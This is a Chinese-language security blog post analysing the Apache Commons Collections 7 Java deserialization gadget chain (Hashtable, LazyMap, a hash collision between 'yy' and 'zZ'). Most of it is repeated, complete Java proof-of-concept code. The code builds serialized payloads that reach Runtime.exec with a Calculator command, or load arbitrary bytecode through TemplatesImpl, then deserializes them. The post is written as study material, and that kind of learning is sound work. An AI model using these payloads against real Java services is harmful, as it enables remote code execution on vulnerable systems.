Apache_Commons_Collections7分析

简介

还是使用的是 LazyMap.get() 进行反序列化的

分析

全局分析

先通过LazyMap.get() 去分析

image-20251009182037797

然后就看哪里调用了equals

image-20251009182122052

然后在Hashtable.reconstitutionPut()

调用了 equals()

image-20251009182308884

然后在HashTable中调用了该函数

那么就很清晰了

调用流程为如下

1
2
3
4
5
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get

LazyMap

其实可以发现后面还是利用的是LazyMap.get()

但是由于无法创建AbstractMapDecorator ,因为是一个抽象类

image-20251009193420367

那么就找一个实现了这个抽象类的

image-20251009202942494

刚好发现LazyMap 实现这个类

HashTable

Hashtable是一种基于键值对的数据结构,也称为哈希表,

所以会有Hash 碰撞的问题

那么简单分析一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

其中for 循环就是在使用hash 判断位置,然后该地方是否有位置

在for 循环中 才会进行equals

意思就是说,我们需要两个值的 hash 获取的index 一致,然后冲突之后调用equals

然后找到在这个hash 的几种中”yy” 和”zZ” 得到index 是一样的

但是由于我们添加了put() 方法得看看会不会对结果有印象

image-20251009214604452

发现会调用,那么先给一个无害的,然后反射设置一个有害的

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package org.cclearn;

import com.google.protobuf.Internal;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.AbstractMapDecorator;
import org.apache.commons.collections4.map.LazyMap;

import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7Learn {

/**
* ChainedTransformer+InvokeTransformer
*/
public static void cc7() throws Exception {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象

HashMap<String, Integer> hashMap = new HashMap<>();
LazyMap<String,Integer> lazyMap=LazyMap.lazyMap(hashMap, new ConstantTransformer(1));
lazyMap.put("zZ", 1);

HashMap<String, Integer> hashMap2 = new HashMap<>();
LazyMap<String, Integer> lazyMap2 = LazyMap.lazyMap(hashMap2, new ConstantTransformer(1));
lazyMap2.put("yy", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap, 1);
hashtable.put(lazyMap2, 2);


Class<? extends Map> lazyMapClass = lazyMap.getClass();
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, ct);
factoryField.set(lazyMap2, ct);



String fileName = Serialize.serialize(hashtable);
Serialize.deserialize(fileName);


}



public static void main(String[] args) throws Exception {
cc7();
}
}

发现并不能调用,调试一下

image-20251009225247551

发现put 两次之后还是1

跟进去

image-20251009225340388

image-20251009225426655

image-20251009225619435

发现会调用get() 但是LazyMap 的get() 代码如下

1
2
3
4
5
6
7
8
9
10
11
public V get(final Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
@SuppressWarnings("unchecked")
final K castKey = (K) key;
final V value = factory.transform(castKey);
map.put(castKey, value);
return value;
}
return map.get(key);
}

发现如果不存在就会创建一个,使用transform()

但是这个时候transform() 结果都是1,刚好和第一个LazyMap 的 value 值一样,所以就判定成他们相等

如果是修改tansform() 返回2那就hash 值就不对了

所以需要一个相同的类让其hash 值一样,但是这个地方返回的值又不一样

可以参考ysorial

修改成如下的样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package org.cclearn;

import com.google.protobuf.Internal;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.AbstractMapDecorator;
import org.apache.commons.collections4.map.LazyMap;

import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7Learn {

/**
* ChainedTransformer+InvokeTransformer
*/
public static void cc7() throws Exception {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(); // 创建一个ChainedTransformer对象



HashMap<String, Integer> hashMap = new HashMap<>();
LazyMap<String,Integer> lazyMap=LazyMap.lazyMap(hashMap,ct);
lazyMap.put("zZ", 1);

HashMap<String, Integer> hashMap2 = new HashMap<>();
LazyMap<String, Integer> lazyMap2 = LazyMap.lazyMap(hashMap2, ct);
lazyMap2.put("yy", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap, 1);
hashtable.put(lazyMap2, 2);


Class<? extends Map> lazyMapClass = lazyMap.getClass();
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, ct);
factoryField.set(lazyMap2, ct);



String fileName = Serialize.serialize(hashtable);
Serialize.deserialize(fileName);


}



public static void main(String[] args) throws Exception {
cc7();
}
}

image-20251009230116082

成功放进去了,这个原因是因为ChainTransFormer 会直接返回key 的object ,因为数组为长度为0

下面是ChainedTransformer 的transform

1
2
3
4
5
6
public T transform(T object) {
for (final Transformer<? super T, ? extends T> iTransformer : iTransformers) {
object = iTransformer.transform(object);
}
return object;
}

现在再尝试是否能成功

发现还是不行

image-20251009230801043

发现前面put 的时候添加了一个zZ

所以还需要删除掉

现在就能调用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package org.cclearn;

import com.google.protobuf.Internal;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.AbstractMapDecorator;
import org.apache.commons.collections4.map.LazyMap;

import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7Learn {

/**
* ChainedTransformer+InvokeTransformer
*/
public static void cc7() throws Exception {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(); // 创建一个ChainedTransformer对象



HashMap<String, Integer> hashMap = new HashMap<>();
LazyMap<String,Integer> lazyMap=LazyMap.lazyMap(hashMap,ct);
lazyMap.put("zZ", 1);

HashMap<String, Integer> hashMap2 = new HashMap<>();
LazyMap<String, Integer> lazyMap2 = LazyMap.lazyMap(hashMap2, ct);
lazyMap2.put("yy", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap, 1);
hashtable.put(lazyMap2, 2);


Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field iTransformersField = chainedTransformerClass.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(ct, transformers);

lazyMap2.remove("zZ");


String fileName = Serialize.serialize(hashtable);
Serialize.deserialize(fileName);


}

public static void main(String[] args) throws Exception {
cc7();
}
}

链子编写

使用ChainedTransformer

同名函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package org.cclearn;

import com.google.protobuf.Internal;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.AbstractMapDecorator;
import org.apache.commons.collections4.map.LazyMap;

import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7Learn {

/**
* ChainedTransformer+InvokeTransformer
*/
public static void cc7() throws Exception {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(); // 创建一个ChainedTransformer对象



HashMap<String, Integer> hashMap = new HashMap<>();
LazyMap<String,Integer> lazyMap=LazyMap.lazyMap(hashMap,ct);
lazyMap.put("zZ", 1);

HashMap<String, Integer> hashMap2 = new HashMap<>();
LazyMap<String, Integer> lazyMap2 = LazyMap.lazyMap(hashMap2, ct);
lazyMap2.put("yy", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap, 1);
hashtable.put(lazyMap2, 2);


Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field iTransformersField = chainedTransformerClass.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(ct, transformers);

lazyMap2.remove("zZ");


String fileName = Serialize.serialize(hashtable);
Serialize.deserialize(fileName);


}


public static void main(String[] args) throws Exception {
cc7();
}
}

动态类加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Hashtable;

public class cc7Learn {

/**
* ChainedTransformer+InvokeTransformer+同名函数
*/
public static void cc7_1_1() throws Exception {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(); // 创建一个ChainedTransformer对象



HashMap<String, Integer> hashMap = new HashMap<>();
LazyMap<String,Integer> lazyMap=LazyMap.lazyMap(hashMap,ct);
lazyMap.put("zZ", 1);

HashMap<String, Integer> hashMap2 = new HashMap<>();
LazyMap<String, Integer> lazyMap2 = LazyMap.lazyMap(hashMap2, ct);
lazyMap2.put("yy", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap, 1);
hashtable.put(lazyMap2, 2);


Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field iTransformersField = chainedTransformerClass.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(ct, transformers);

lazyMap2.remove("zZ");


String fileName = Serialize.serialize(hashtable);
Serialize.deserialize(fileName);


}

public static void cc7_2() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// // _tfactory
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

ChainedTransformer ct=new ChainedTransformer(); // 创建一个ChainedTransformer对象



HashMap<String, Integer> hashMap = new HashMap<>();
LazyMap<String,Integer> lazyMap=LazyMap.lazyMap(hashMap,ct);
lazyMap.put("zZ", 1);

HashMap<String, Integer> hashMap2 = new HashMap<>();
LazyMap<String, Integer> lazyMap2 = LazyMap.lazyMap(hashMap2, ct);
lazyMap2.put("yy", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap, 1);
hashtable.put(lazyMap2, 2);


Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, invokerTransformer);


lazyMap2.remove("zZ");


String fileName = Serialize.serialize(hashtable);
Serialize.deserialize(fileName);

}

public static void cc7_1_2() throws Exception{

TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// // _tfactory
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}



Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer ct=new ChainedTransformer(); // 创建一个ChainedTransformer对象



HashMap<String, Integer> hashMap = new HashMap<>();
LazyMap<String,Integer> lazyMap=LazyMap.lazyMap(hashMap,ct);
lazyMap.put("zZ", 1);

HashMap<String, Integer> hashMap2 = new HashMap<>();
LazyMap<String, Integer> lazyMap2 = LazyMap.lazyMap(hashMap2, ct);
lazyMap2.put("yy", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap, 1);
hashtable.put(lazyMap2, 2);


Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field iTransformersField = chainedTransformerClass.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(ct, transformers);

lazyMap2.remove("zZ");


String fileName = Serialize.serialize(hashtable);
Serialize.deserialize(fileName);


}

public static void main(String[] args) throws Exception {
cc7_1_2();
}
}

不用transformer 数组

这个是调用不了的,如果直接调用 InvokeTransformer 的transform 但是入参不可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7Learn {

/**
* ChainedTransformer+InvokeTransformer+同名函数
*/
public static void cc7_1_1() throws Exception {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(); // 创建一个ChainedTransformer对象



HashMap<String, Integer> hashMap = new HashMap<>();
LazyMap<String,Integer> lazyMap=LazyMap.lazyMap(hashMap,ct);
lazyMap.put("zZ", 1);

HashMap<String, Integer> hashMap2 = new HashMap<>();
LazyMap<String, Integer> lazyMap2 = LazyMap.lazyMap(hashMap2, ct);
lazyMap2.put("yy", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap, 1);
hashtable.put(lazyMap2, 2);


Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field iTransformersField = chainedTransformerClass.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(ct, transformers);

lazyMap2.remove("zZ");


String fileName = Serialize.serialize(hashtable);
Serialize.deserialize(fileName);


}

public static void cc7_1_2() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// // _tfactory
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

ChainedTransformer ct=new ChainedTransformer(); // 创建一个ChainedTransformer对象



HashMap<String, Integer> hashMap = new HashMap<>();
LazyMap<String,Integer> lazyMap=LazyMap.lazyMap(hashMap,ct);
lazyMap.put("zZ", 1);

HashMap<String, Integer> hashMap2 = new HashMap<>();
LazyMap<String, Integer> lazyMap2 = LazyMap.lazyMap(hashMap2, ct);
lazyMap2.put("yy", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap, 1);
hashtable.put(lazyMap2, 2);


Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, invokerTransformer);


lazyMap2.remove("zZ");


String fileName = Serialize.serialize(hashtable);
Serialize.deserialize(fileName);

}

public static void main(String[] args) throws Exception {
cc7_1_2();
}
}

因为get 的时候要求value 是一个


Apache_Commons_Collections7分析
https://tsy244.github.io/2025/10/09/java安全/Apache-Commons-Collections7分析/
Author
August Rosenberg
Posted on
October 9, 2025
Licensed under